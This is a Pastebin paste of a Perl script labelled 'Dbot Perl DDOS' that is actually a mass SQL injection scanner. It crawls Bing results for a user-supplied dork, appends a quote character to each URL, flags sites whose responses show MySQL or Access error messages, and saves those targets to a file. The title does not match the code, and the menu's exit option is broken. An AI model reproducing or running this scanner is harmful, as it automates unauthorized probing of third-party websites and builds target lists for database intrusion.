Advertisement
YeiZeta

Dbot Perl DDOS =12

Aug 9th, 2012
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.84 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use warnings;
  5. use HTTP::Request;
  6. use LWP::UserAgent;
  7.  
  8. ###############
  9. my $dork;
  10. my $url;
  11. my $i;
  12. my $request;
  13. my $useragent;
  14. my $response;
  15. my $start;
  16. my $end;
  17. my $result;
  18. my $fl;
  19. my $link;
  20. my $req;
  21. my $ua;
  22. my $result2;
  23. my $res;
  24. my $save;
  25. my $pages;
  26. my $page;
  27. my $choice;
  28. ##############
  29. my @z;
  30.  
  31. print q{
  32. _ ____ _
  33. | | _ \ | |
  34. __| | |_) | ___ | |_
  35. / _` | _ < / _ \| __|
  36. | (_| | |_) | (_) | |_
  37. \__,_|____/ \___/ \__|
  38.  
  39. };
  40.  
  41. MainMenu:
  42.  
  43. print "------------------------\n";
  44. print "Enter [1] To Begin SQLi.\n";
  45. print "Enter [2] To Exit.\n";
  46. print "------------------------\n\n";
  47. print "Your Choice: ";
  48.  
  49. chomp ($choice = <STDIN>);
  50. print "\n";
  51.  
  52. if ($choice eq 1) {&sql_scan}
  53. if ($choice eq 5) {die;}
  54.  
  55. sub sql_scan
  56. {
  57.  
  58. print "[+] Enter Bing! dork: ";
  59. chomp ($dork = <STDIN>);
  60. print "\n";
  61. print "[+] How Many Pages To Leech?: ";
  62. chomp ($pages = <STDIN>);
  63. print "\n";
  64.  
  65. $page = $pages.'1';
  66.  
  67. print "[~] Crawling...\n\n";
  68.  
  69. for ($i = 0; $i <= $page; $i=$i+11)
  70. {
  71.  
  72. $url = "http://www.bing.com/search?q=$dork&go=&qs=n&sk=&sc=8-13&first=$i";
  73.  
  74. $request = HTTP::Request->new(GET => $url);
  75. $useragent = LWP::UserAgent->new();
  76. $response = $useragent->request($request);
  77. $result = $response->content;
  78.  
  79. $start = '<h3><a href="';
  80. $end = '" onmousedown=';
  81.  
  82. while ($result =~ m/$start(.*?)$end/g)
  83.  
  84. {
  85. $fl = $1;
  86. $link = $fl."%27";
  87. $req = HTTP::Request->new(GET => $link);
  88. $ua = LWP::UserAgent->new();
  89. $res = $ua->request($req);
  90. $result2 = $res->content;
  91.  
  92. if ($result2=~ m/You have an error in your SQL syntax/i || $result2=~ m/Query failed/i || $result2=~ m/SQL query failed/i || $result2=~ m/mysql_fetch_/i ||
  93.  
  94. $result2=~ m/mysql_fetch_array/i || $result2 =~ m/mysql_num_rows/i || $result2 =~ m/The used SELECT statements have a different number of columns/i )
  95. {
  96. push @z, $link;
  97. print "[+] MySQL Vulnerable: $link\n\n";
  98. }
  99.  
  100. elsif ($result2 =~ m/Microsoft JET Database/i || $result2 =~ m/ODBC Microsoft Access Driver/i )
  101. {
  102. push @z, $link;
  103. print "[+] MsSQL Vulnerable: $link\n\n";
  104. }
  105.  
  106. else {
  107.  
  108. print "[-] $link <- Not Vulnerable\n\n";
  109. }
  110. }
  111.  
  112. }
  113. print "Vulnerable Links:\n";
  114. print "-----------------------------------\n";
  115. foreach (@z)
  116. {
  117. print "$_ \n\n";
  118. }
  119. print "Save Into A Text File? (Y or N): ";
  120. chomp ($save = <STDIN>);
  121.  
  122. if ($save eq 'Y')
  123. {
  124. print "Saving File...\n\n";
  125. open(vuln_file, ">>Vulns.txt");
  126. foreach (@z)
  127. {
  128. print vuln_file "$_ \n";
  129. }
  130. close(vuln_file);
  131. print "File Saved!\n\n";
  132. }
  133. goto MainMenu;
  134. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement